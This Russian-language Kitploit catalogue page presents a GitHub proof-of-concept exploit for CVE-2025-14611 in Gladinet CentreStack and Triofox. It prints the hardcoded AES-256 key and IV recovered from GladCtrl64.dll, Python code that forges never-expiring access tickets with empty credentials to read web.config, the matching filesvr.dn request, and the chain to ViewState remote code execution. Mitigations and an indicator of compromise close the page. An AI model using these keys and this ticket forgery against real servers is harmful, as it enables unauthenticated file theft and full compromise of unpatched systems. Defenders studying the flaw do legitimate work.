Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit — CVE-2025-14611 CentreStack и Triofox полный Poc/Exploit | Kitploit
Инструменты/GitHubGitHub/pl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit
Анализ уязвимостейЭксплуатацияОбратная инженерияЭксплуатация веб-приложенийКриптографияТестирование на ПроникновениеАутентификацияRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubpl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit

CVE-2025-14611 CentreStack и Triofox полный Poc/Exploit

Репозиторий
7 месяцев назадЕщё не проверено

CVE-2025-14611 CentreStack и Triofox: полный PoC/эксплойт

Краткое описание

Эта уязвимость вызвана встроенными криптографическими ключами в продуктах Gladinet CentreStack и Triofox, что позволяет произвольное чтение файлов через поддельные билеты доступа. Реализация шифрования AES-256 использует статические, неизменяемые ключи, встроенные непосредственно в бинарный файл приложения (GladCtrl64.dll), что позволяет любому атакующему, извлёкшему эти ключи:

  1. Расшифровывать легитимные билеты доступа, чтобы узнать внутренние пути к файлам и конфигурацию системы
  2. Создавать поддельные билеты доступа с никогда не истекающими временными метками для чтения произвольных файлов на сервере
  3. Обходить аутентификацию, оставляя поля имени пользователя и пароля пустыми, из-за чего приложение переключается на учётную запись пула приложений IIS
  4. Связывать эту уязвимость с CVE-2025-30406 (десериализация ViewState) для достижения удалённого выполнения кода

Уязвимость затрагивает все версии Gladinet CentreStack и Triofox до 16.12.10420.56791 и активно эксплуатируется в дикой природе как минимум с ноября 2025 года.

Анализ

1. Генерация и хранение ключей

Уязвимость начинается с того, как криптографические ключи генерируются и хранятся в GladCtrl64.dll. Функции GenerateSecKey и GenerateSecKey1 отвечают за предоставление ключа шифрования AES и вектора инициализации (IV).

Поток генерации ключей:

Когда серверное приложение CentreStack запускается, класс SysKeyMgr вызывает AccessKeyMgr64.GetSysEncKey, который обращается к GenerateSecKey, расположенной в GladCtrl64.dll. Эта функция:

root@kitploit:~
PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

Функция преобразует строки в кодировке UTF-16LE в UTF-8 с помощью Windows API WideCharToMultiByte с кодовой страницей 0xfde9 (UTF-8). Исходные данные хранятся в двух статических областях памяти:

  • Источник ключа (0x18000c000): строка UTF-16LE длиной 100 байт, содержащая китайский текст
  • Источник IV (0x18000c2c0): строка UTF-16LE длиной 100 байт, начинающаяся с «moDriv» и содержащая японский текст

Критическая находка: Эти строки никогда не меняются ни в одной установке программного обеспечения. Название функции GenerateSecKey вводит в заблуждение — она не генерирует ключи динамически, а просто возвращает уже существующие статические строки из бинарного файла.

2. Встроенные ключи

В результате reverse engineering анализа встроенные ключи были извлечены из секции .data файла GladCtrl64.dll:

Память по адресу 0x18000c000 (источник ключа):

root@kitploit:~
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

При декодировании из UTF-16LE в UTF-8 получается китайский текст:

root@kitploit:~
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

Память по адресу 0x18000c2c0 (источник IV):

root@kitploit:~
6d 6f 44 72 69 76 65 00   // "moDriv" в ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

При декодировании получается:

root@kitploit:~
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

Итоговые криптографические ключи:

Приложение использует первые 32 байта источника ключа в кодировке UTF-8 в качестве ключа AES-256 и первые 16 байт источника IV в кодировке UTF-8 в качестве вектора инициализации:

root@kitploit:~
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

3. Уязвимый обработчик загрузки файлов

Уязвимость эксплуатируется через HTTP-обработчик filesvr.dn, который сопоставлен с классом GladinetStorage.FileDownloadHandler. Этот обработчик обрабатывает зашифрованные билеты доступа, передаваемые через параметр запроса t.

Структура билета доступа:

Билеты доступа представляют собой поля, разделённые переводами строк и зашифрованные с помощью AES-256-CBC:

root@kitploit:~
Строка 0: Filepath (абсолютный путь на сервере)
Строка 1: Username (учётная запись Windows для олицетворения)
Строка 2: Password (учётные данные для этой записи)
Строка 3: Timestamp (время создания билета)

Процесс расшифровки:

  1. Обработчик получает параметр t и выполняет собственную санитизацию, заменяя URL-безопасные символы (: → +, | → /)
  2. Значение декодируется из Base64 для получения шифротекста
  3. Вызывается AccessTicket.Decrypt, которая получает статические SysKey (первые 32 байта) и SysKey1 (первые 16 байт)
  4. С этими ключами настраивается шифр AES-256-CBC
  5. Билет расшифровывается и разбирается

Обход проверки временной метки:

Обработчик сравнивает временную метку билета с текущим временем сервера. Если билет старше 4 часов, он отклоняется. Однако атакующие могут установить временную метку на 9999 год, создав билет, который никогда не истекает:

root@kitploit:~
9999-11-27 14:52:04.009217

Это создаёт постоянный бэкдор, который можно использовать бесконечно.

4. Обход аутентификации через пустые учётные данные

После расшифровки обработчик извлекает поля Username и Password и пытается инициализировать контекст олицетворения. Критическая уязвимость: когда оба поля являются пустыми строками, логика олицетворения даёт сбой и переключается на учётную запись пула приложений IIS.

Это позволяет неаутентифицированное чтение произвольных файлов, поскольку приложение работает с повышенными привилегиями, но не требует действительных учётных данных.

Пример вредоносного билета:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

5. Эксплуатация в дикой природе

Активная эксплуатация наблюдается с ноября 2025 года. Атакующие следуют следующей схеме:

Шаг 1: Создание поддельного билета доступа

Используя извлечённые ключи, атакующие создают зашифрованные билеты, нацеленные на web.config:

root@kitploit:~
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

Шаг 2: Отправка вредоносного запроса

Поддельный билет отправляется на уязвимую конечную точку:

root@kitploit:~
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

Шаг 3: Извлечение машинных ключей

Ответ содержит файл web.config с машинными ключами:

root@kitploit:~
<machineKey 
    validationKey="ABC123..." 
    decryptionKey="DEF456..." 
    validation="SHA1" 
    decryption="AES" 
/>

Шаг 4: Связка с CVE-2025-30406

Эти машинные ключи позволяют проводить атаки на десериализацию ViewState, что приводит к удалённому выполнению кода. Атакующие создают вредоносные ViewState-нагрузки, подписанные извлечёнными ключами, и получают полный контроль над системой.

6. Пример реальной атаки

Из наблюдаемых попыток эксплуатации (декабрь 2025 года):

Зашифрованный билет атакующего:

root@kitploit:~
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu

Расшифрованное содержимое:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

Источник атаки: IP-адрес 147.124.216[.]205
Целевые организации: 9 подтверждённых жертв в секторах здравоохранения, технологий и профессиональных услуг
Хронология атак: первые попытки эксплуатации в ноябре 2025 года, с эскалацией в декабре 2025 года

Заключение

CVE-2025-14611 представляет собой критический отказ в управлении криптографическими ключами. Встраивая статические, неизменяемые ключи непосредственно в бинарный файл приложения, Gladinet создал универсальный мастер-ключ, работающий во всех установках. Эта уязвимость демонстрирует несколько серьёзных нарушений безопасности:

  1. Встроенная криптография: Использование статических ключей сводит на нет все преимущества шифрования
  2. Обход аутентификации: Обработка пустых учётных данных позволяет неаутентифицированный доступ
  3. Бессрочные билеты: Временные метки в далёком будущем создают постоянные бэкдоры
  4. Связывание эксплойтов: В сочетании с CVE-2025-30406 это обеспечивает полный компрометацию системы

Рекомендации по смягчению:

  • Немедленно: Обновиться до версии CentreStack/Triofox 16.12.10420.56791 или новее
  • Критически важно: Сменить машинные ключи в web.config после установки обновления
  • Защита: Отслеживать журналы IIS на предмет обращений к /storage/filesvr.dn с подозрительными параметрами t
  • Обнаружение: Искать в журналах индикатор: vghpI7EToZUDIZDdprSubL3mTZ2 (зашифрованное представление пути к web.config)
  • Сеть: Блокировать входящий доступ к CentreStack из ненадёжных сетей

Индикатор компрометации:

Любой HTTP-запрос, содержащий:

root@kitploit:~
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2

Эта подстрока однозначно идентифицирует попытки эксплуатации данной уязвимости для извлечения web.config.

Скачать инструмент